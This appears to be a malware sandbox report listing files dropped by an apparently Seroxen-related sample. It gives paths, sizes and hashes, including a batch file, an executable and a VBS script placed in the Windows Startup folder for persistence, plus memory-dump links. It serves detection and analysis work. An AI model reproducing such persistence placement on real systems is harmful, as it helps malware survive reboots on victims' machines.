SHA512 35dd4eb9433f3461e66a70d12dcf6e2e64afddd3be3c9327c16022e42e6af585383b0d9f7788d53beeb2fffdcadbf346f140e43347f9af1c89f751dfa72d8774
TLSH
T15621890543F9471BF0B35B31A9F6171BA678FD59AF72535B858003292C41500EEA1FB2
MD5 SHA1 SHA512 TLSH

Submit Download

SXR-debug.txt

Path C:\Users\Admin\AppData\Local\Temp\SXR-debug.txt
Size 391B
SHA256 305df9cfe6b5a05f4e2a3008da9859734467c80c39615f7829abed2a86ee0f21
MD5 48dceb095b1180e61ae6a4543f4d6d76
SHA1 816527243efcd6a302e936fda1bd5b019ca31d1e
SHA512 ca6009692e3733d6a5443fea8fb3176b8bd9820afd7a45a408bdb0b6c3af83c6d57e6694bb706b8d5ef2ea2175bf9acdafe60dfb5d506eb926c201a7843d5b54
TLSH
T1A3E022A6A3E4510AFF663957B9B26149839FF0B1CF1420E8FB482BC8780F80C92C8143
MD5 SHA1 SHA512 TLSH

Submit Download

Uni.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
Size 440KB
SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
MD5 0e9ccd796e251916133392539572a374
SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
TLSH
T191A45A876B9412D1EC3EC035D82744520721BCBED791A7EF99D8F2390E712D0993EA6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_zpaxhpql.tea.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zpaxhpql.tea.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

t3joqfcp.dll

Path C:\Users\Admin\AppData\Local\Temp\t3joqfcp\t3joqfcp.dll
Size 3KB
SHA256 4f22cb6269fc5fa19e193637ec8d533561ea83a4a4f4562ee95ab99853603c9c
MD5 d86093d0f44ab5593007b23a993b0c5f
SHA1 31d3cd1f03eaea12eeff9dcaa124d3d8d5b0e343
SHA512 8a0940c70efa9c9057bdf503dd6a19c5a2882eac8dacd417ae4401ec4197bd905d08337243361b71cfa6c63063380efb94ed2564129afef2ee3b976119dd0ef7
TLSH
T1D051DF2A63E9462BE4770B30AEF3032737F4F8149B73575D5980422D6C613548E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

$sxr-cmd.bat

Path C:\Users\Admin\AppData\Roaming\$sxr-seroxen1\$sxr-cmd.bat
Size 10.1MB
SHA256 3af5f9e385e259a669eacaa2c66850b127bad6aebdf0776ee8083d1de27c557b
MD5 3b93e29d6cf2813f5dd3c9ae380acc4f
SHA1 98cf06eb797a3ad94dc9fb44ae758fcbab1e0c53
SHA512 4b830a87f277816fb86de435787f7c7b6083d7bd9d8ad88f10086c9fc6a8a7c205145d7b2d23eddd91f7ef9d440684b3d3bfb96a66ca13d86dca86cef3b82a1e
SSDEEP 49152:s6f3cj3cw0fch3L6wcNWcw0flyOoRCKzGKzXbCzsK+RXzodzXbCakBUAfVweb6TU:2
TLSH
T12BB6123E4E278D3F87BC23AC35BC0B8A79589A144376489E27A45DCE9FC770620D6C56
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

$sxr-seroxen.vbs

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs
Size 659B
SHA256 36cde62b12949933efc4fcbce738eade8a82dbf746c1ee60d4f2de795ec68370
MD5 8049293460648d8208fbb5d4c2b6f501
SHA1 20956e3a3fcb6f52167b79425676a01046b45b2d
SHA512 2a33c280661176d1ff52d283cb548b5f93a69a8015858ec5d7c121ffd9355c483d71feaab29793863229403b221d19a23e52d9b90d67b83d08bbfd52e5c635ef
TLSH
T10801DD130B409B5CF9998DD098CF020F21F2C923796D0148A3F216A22C3F8E96230631
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 8KB
SHA256 b342c0e180d06abd8acac4910911b2b5f2780d0b2de226400fad8c48260b5334
MD5 04e54471123a035f688618f7e6853deb
SHA1 0679924d5bb4d21486ce8a6257c0af5c08dc8e62
SHA512 dd0d27f1d12b6ab1d308da2bda010c543de9f041df73684cda4e0178b35191031d507f8a4eb0799e30ed4f8599073c7c01a01652bdac2d4ac845b04a42b99f2c
SSDEEP 96:iHAH5HAH5HcH2dRHaHPHAuHAMHQHvHAHxHAHAHaHAH4HkHFH+HZHqHxHgHvdFH10:4j3ycV6NgQN7
TLSH
T19802EC365DF24132E207E724B75A258ADAD3B1B45ACDB018F67DF04DBB0E31885DDA84
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.xml

Path C:\Windows\System32\Recovery\ReAgent.xml
Size 1KB
SHA256 0c33aa0bba1b0e8796f0f6366282ebdcb3d6327b0cb9a1711a118e3c039a9f49
MD5 d77e0657bb7f7d7c94ad606095034e82
SHA1 bd31a06816375ae8e3c090c16d374d076af3eac0
SHA512 c537e5fff484474d474416fb63f7a783e5bba4774374cb8c26c455f5077a18205890fe8303899a18bbc514c7de36c798092919ce07fac918d6612484797fdc28
TLSH
T1B221064691B458B6D7B2D36AF0F8BD60463FF1DD02E08A1CE019F6D3944B462875F9B0
MD5 SHA1 SHA512 TLSH

Submit Download

14f0nolz.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\14f0nolz\14f0nolz.cmdline
Size 369B
SHA256 e63cc4d5b82cef93d888122598a65b5a01b543a687f872fbfb81c454828e89ad
MD5 a211cdc887502238a3f51951ecdbbfc1
SHA1 091957cccb19b61953813d71bf894a7e84a391fb
SHA512 0d37a956d355782e4e270bfc279fd6051e50a9c96c5c42ddcff351ccdd86b2efea092125f97d5eb762f8bd139763aac65f1d0aaf8f1bceadef591b7fb25ab8fd
TLSH
T17EE0C03B5246C37E81DD200B2169E4ACDE7327432D533FC45042493DF21700027D6771
MD5 SHA1 SHA512 TLSH

Submit Download

CSCB82169074654D9DB7558BD604BC111.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\14f0nolz\CSCB82169074654D9DB7558BD604BC111.TMP
Size 652B
SHA256 949ae86483b84c70254d8e73004830aff233c7e66c7050cf484fbbca6edf41ba
MD5 a035a1e747d3886914c92d7fe6b49f76
SHA1 f1e7a7130547f804c149702ab89e3557a6400100
SHA512 006fd38649feab28f97d4d1454f041fa005df5dd5c3e2673f0cfb1a6a2cbe78724c75d687de8bffaa5c69d20e00380d682133e28709f52acc56f69bbe4e3ebf9
TLSH
T1B9F05E0963F8020EF0F35B70BDF6836395BCBC65DE3293ED1480031928645209962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

4o4ehs0u.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\4o4ehs0u\4o4ehs0u.cmdline
Size 369B
SHA256 7759de7225c18ed150e03e2d3722a7f67b176067d54074b3196ad3aaf9989b96
MD5 71f602566a62b0613bb7120aa6fd7291
SHA1 d0b441ed77e881f68aa94ae52804070bd17d8fb4
SHA512 d4c8d6379ef2f232d5b7634f09000117278ab2d18d64d9d462bd62e31cbe42588aa3cc04091974676d4fdffe65829222c0aaf6a3ea6c72d4920592c1782c23f8
TLSH
T195E0683E8356C67E11DD2017296BC4EC86760643395A3F845048482DE417C082BE3751
MD5 SHA1 SHA512 TLSH

Submit Download

CSC3EFA9886F9454D79B7222448D35E71BA.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\t3joqfcp\CSC3EFA9886F9454D79B7222448D35E71BA.TMP
Size 652B
SHA256 0a3a67964a93e9f80c4873eee1a1af0acf068f20e587afdf6d01ffa951fcb790
MD5 49d5b4c7cb1abbd1f255a7994e42883f
SHA1 86e68e4c535c1f98edd18d4e9fe61b6a4a14e360
SHA512 ad416f16877bbf4988bee51729190b59e2ea9c98940ca99c8c23201c74f6e0ee987ccceb003d04ecbd3f705ba1463943707351c251706b8653a72a8a35ba267b
TLSH
T162F05E1963F8420EF4F74B30FEF643A395A8BC65DE3293ED1440031D2864A148972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

t3joqfcp.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\t3joqfcp\t3joqfcp.0.cs
Size 288B
SHA256 62c2b6133462349fc7ad623131a0766bd52dcb2dfe33abdbd3967bdad039e0f1
MD5 8622b31a0ede6db359cfe9013ffc3dad
SHA1 08ddfa2208d030400da9750fd4c964cd4c670c82
SHA512 ae58b41d31886e4bc3f7c477dea7485968015c4339a6777ba5ef019b8db1dc4111147f8ab15c1ce89896bf20f361ee223242bf6f5ee2dacbab282d10c5d0a551
TLSH
T12DD02B2477F7DE380093482A4C86E1BC7B37611B137A2F00BAF99300DFCB0095636AA9
MD5 SHA1 SHA512 TLSH

Submit Download

t3joqfcp.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\t3joqfcp\t3joqfcp.cmdline
Size 369B
SHA256 9168eee9a8ce52b20d6d094fb310e5e8daa6db8e9878fddb793333bd3947bf01
MD5 6e0af656425be35909dff8a2b92b8dfb
SHA1 b0b9411cc7aae09f5b276030d572085fc854f86b
SHA512 4725b78d35b26e7062328292246d811fb9afed053c2e6f8f90a06e5ce27ecaa2b9f22005606a8cd4fdd6c18c72dc6be7bf5f40234b59204d682d695724455e87
TLSH
T12BE0D82A92B7C67E25DD10072969E5BCD2F2064729417F88D150845DD02710567D1BD6
MD5 SHA1 SHA512 TLSH

Submit Download

zpk0zj0p.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\zpk0zj0p\zpk0zj0p.0.cs
Size 284B
SHA256 1394999d0d32ec04cbc8ef4da430d8518a56a38490647cce67a18bdeb40e45cc
MD5 bb04688cc1fcb90518c60c18d5c74b43
SHA1 c3ee261d84973d9cc3e9fd43dbaa26956d4ccd00
SHA512 5943d6f1a995b7b8c55a77ae20dd406227f133406c452735a687cc193a29b2d2878ff548445c9cebcea08665690e82ccf5ee6aeaaea152f901498448a8ca81b9
TLSH
T1A0D02B24BBF7CB380093481A8C8EE1BCB733911E327E1E00B6FAA700DF470065276925
MD5 SHA1 SHA512 TLSH

Submit Download

zpk0zj0p.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\zpk0zj0p\zpk0zj0p.cmdline
Size 369B
SHA256 be87ce93fbc7bfe0a73d77206ebca739625d27b4f2988ff53fa37139ac91ace6
MD5 f9feefe31ade50d8f3cd7d1d80a87da1
SHA1 4d69538da52e08cd14471d51b8d3d95a77f999a7
SHA512 a310c4ddd4d6ce0dbb09fde62318c155eace3b6c28fb2f87e4a3644f9a0b7b02e9b7fcfa4921deb1b3b6181700fde6c685938d2898a2206e29ab6f174d6d6550
TLSH
T110E0683E6A56C27D81D9101F21B9CAFCC2F306436DC13F84E041840DD21710067E1781
MD5 SHA1 SHA512 TLSH

Submit Download

memory/400-0-0x000001B5626D0000-0x000001B5626E0000-memory.dmp

Download

memory/400-22-0x000001B5626E0000-0x000001B5626E8000-memory.dmp

Download

memory/400-9-0x000001B5626D0000-0x000001B5626E0000-memory.dmp

Download

memory/400-8-0x000001B562690000-0x000001B5626B2000-memory.dmp

Download

memory/400-1-0x000001B5626D0000-0x000001B5626E0000-memory.dmp

Download

memory/556-137-0x00000282E2E30000-0x00000282E2E38000-memory.dmp

Download

memory/2000-88-0x000002C1D0BB0000-0x000002C1D0C62000-memory.dmp

Download

memory/2000-87-0x000002C1D0AA0000-0x000002C1D0AF0000-memory.dmp

Download

memory/2000-42-0x000002C1CFF50000-0x000002C1D0090000-memory.dmp

Download

memory/2000-89-0x000002C1D1370000-0x000002C1D1532000-memory.dmp

Download

memory/2000-44-0x000002C1D0090000-0x000002C1D03E0000-memory.dmp

Download